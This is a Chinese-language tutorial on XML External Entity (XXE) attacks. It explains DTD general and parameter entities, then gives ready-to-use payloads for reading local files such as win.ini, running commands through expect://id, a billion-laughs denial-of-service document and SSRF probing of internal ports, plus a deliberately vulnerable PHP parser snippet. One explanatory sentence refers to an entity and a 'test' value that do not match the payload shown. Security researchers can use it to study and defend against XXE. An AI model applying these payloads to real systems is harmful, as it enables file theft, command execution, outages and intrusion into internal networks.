XML实体

  • 通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

  1. <?xml version="1.0" encoding="utf-8"?>
  2. <!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]>
  3. <updateProfile>
  4. <firstname>Joe</firstname>
  5. <lastname>&file;</lastname>
  6. ...
  7. </updateProfile>
  • 参数实体

    • 使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
    • 只有在 DTD 文件中,参数实体的声明才能引用其他实体
    • 和通用实体一样,参数实体也可以外部引用
      1. <!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
      2. <!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
      3. %an-element; %remote-dtd;

      利用方式

      任意文件读取

  • 示例代码

    1. <?php
    2. $xml = simplexml_load_string($_REQUEST['xml']);
    3. print_r($xml);//注释掉该语句即为无回显的情况
    4. ?>
  • Payload

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <!DOCTYPE xxe [
    3. <!ELEMENT name ANY >
    4. <!ENTITY file SYSTEM "file:///d://qwzf.txt" >
    5. ]>
    6. <root>
    7. <name>&file;</name>
    8. </root>

    我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。

    执行系统命令

    在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <!DOCTYPE xxe [
    3. <!ELEMENT name ANY >
    4. <!ENTITY xxe SYSTEM "expect://id" >]>
    5. <root>
    6. <name>&xxe;</name>
    7. </root>

    拒绝服务攻击

    1. <?xml version="1.0"?>
    2. <!DOCTYPE lolz [
    3. <!ENTITY lol "lol">
    4. <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
    5. <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
    6. <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
    7. <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
    8. <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
    9. <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
    10. <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
    11. <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
    12. ]>
    13. <lolz>&lol9;</lolz>

    递归引用,lol 实体具体还有 “lol” 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 “lol” 了,以此类推,lol9 实体含有 10^8 个 “lol” 字符串,最后再引用lol9。

    探测内网端口与攻击内网网站

    1. <?xml version="1.0" encoding="utf-8"?>
    2. <!DOCTYPE xxe [
    3. <!ELEMENT name ANY >
    4. <!ENTITY xxe SYSTEM "http://127.0.0.1:80" >]>
    5. <root>
    6. <name>&xxe;</name>
    7. </root>

    参考

    https://xz.aliyun.com/t/3357 https://xz.aliyun.com/t/4059